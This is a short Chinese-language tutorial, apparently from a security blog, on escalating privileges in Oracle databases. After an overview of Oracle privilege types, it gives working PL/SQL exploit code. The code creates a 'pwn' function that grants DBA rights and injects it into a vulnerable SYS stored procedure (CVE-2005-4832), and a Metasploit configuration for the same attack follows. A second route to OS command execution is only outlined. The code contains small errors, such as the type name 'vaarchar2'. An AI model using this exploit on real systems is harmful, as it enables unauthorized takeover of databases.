0x00 Oracle提權基礎
1、Oracle權限分配
1.1 系統權限
系統規定用戶使用數據庫的權限。(系統權限是對用戶而言)。
系統權限分類
DBA
: 擁有全部特權,是系統最高權限,只有DBA才可以創建數據庫結構。
RESOURCE
:擁有Resource權限的用戶只可以創建實體,不可以創建數據庫結構。
CONNECT
:擁有Connect權限的用戶只可以登錄Oracle,不可以創建實體,不可以創建數據庫結構。
對於普通用戶:授予connect, resource權限。
對於DBA管理用戶:授予connect,resource, dba權限。
1.2 實體權限
某種權限用戶對其它用戶的表或視圖的存取權限。(是針對表或視圖而言的)。
實體權限分類
select, update, insert, alter, index, delete, all //all包括所有權限
execute
//執行存儲過程權限
0x01 Oracle提權方法
1、通過注入存儲過程提權(低權限提升至DBA)
1.1 原理
SYS創建的存儲過程存在sql注入。擁有create procedure
權限的用戶通過創建提權函數,將提權函數注入到存儲過程中,於是該存儲過程將調用這個提權函數來執行grant dba to quan
命令,獲得Oracle數據庫dba權限。
1.2 利用條件
1、SYS創建的存儲過程存在sql注入
(EG:CVE-2005-4832)
2、用戶擁有create procedure
權限(用來創建函數)
1.3 提權步驟
假設有一個用戶quan 只有 CONNECT 和 RESOURCE 權限
1.3.1 手工注入
(1)用戶登陸后執行select * from session_privs
查看權限
(2)創建函數,命令為grant dba to quan
grant execute on pwn to public;//賦予所有用戶此函數的執行權限
SQL>create or replace function pwn return vaarchar2
authid current_user is pragma autonomous_transaction;
begin
execute immediate 'grant dba to quan';
return '';
end;
/
SQL>grant execute on pwn to public;
/
(3)注入sys.dbms_cdc_subscribe.activate_subscription
SQL>begin
sys.dbms_cdc_subscribe.activate_subscription('''||quan.pwn()||''');
end;
/
SQL>set role dba;
(4)執行select * from session_privs
查看是否為dba權限
1.3.2 利用MSF注入
(1)加載攻擊模塊
use auxiliary/sqli/oracle/dbms_cdc_subscribe.activate_subscription
(2)配置參數
set dbuser quan
set dbpass quan123
set sid orcl
set rhost xxxxx
set sql grant dba to quan
(3)run
2、通過utl_http.request存儲過程提權
2.1 原理
Oracle9i~11gR2中dbms_xmlquery.newcontext()
和dbms_xmlquery.getxml()
函數可以執行任意PL/SQL語句,利用這兩個函數可以獲得Oracle服務器的操作系統權限。
2.2 利用條件
1、UTL_HTTP存儲過程可用
2、Oracle9i~11gR2
2.3 提權步驟
(1)創建Java包
(2)創建存儲過程MYJAVACMD
(3)執行存儲過程,成功添加用戶
0x02 參考文章
《網絡攻防實戰研究——漏洞利用與提權》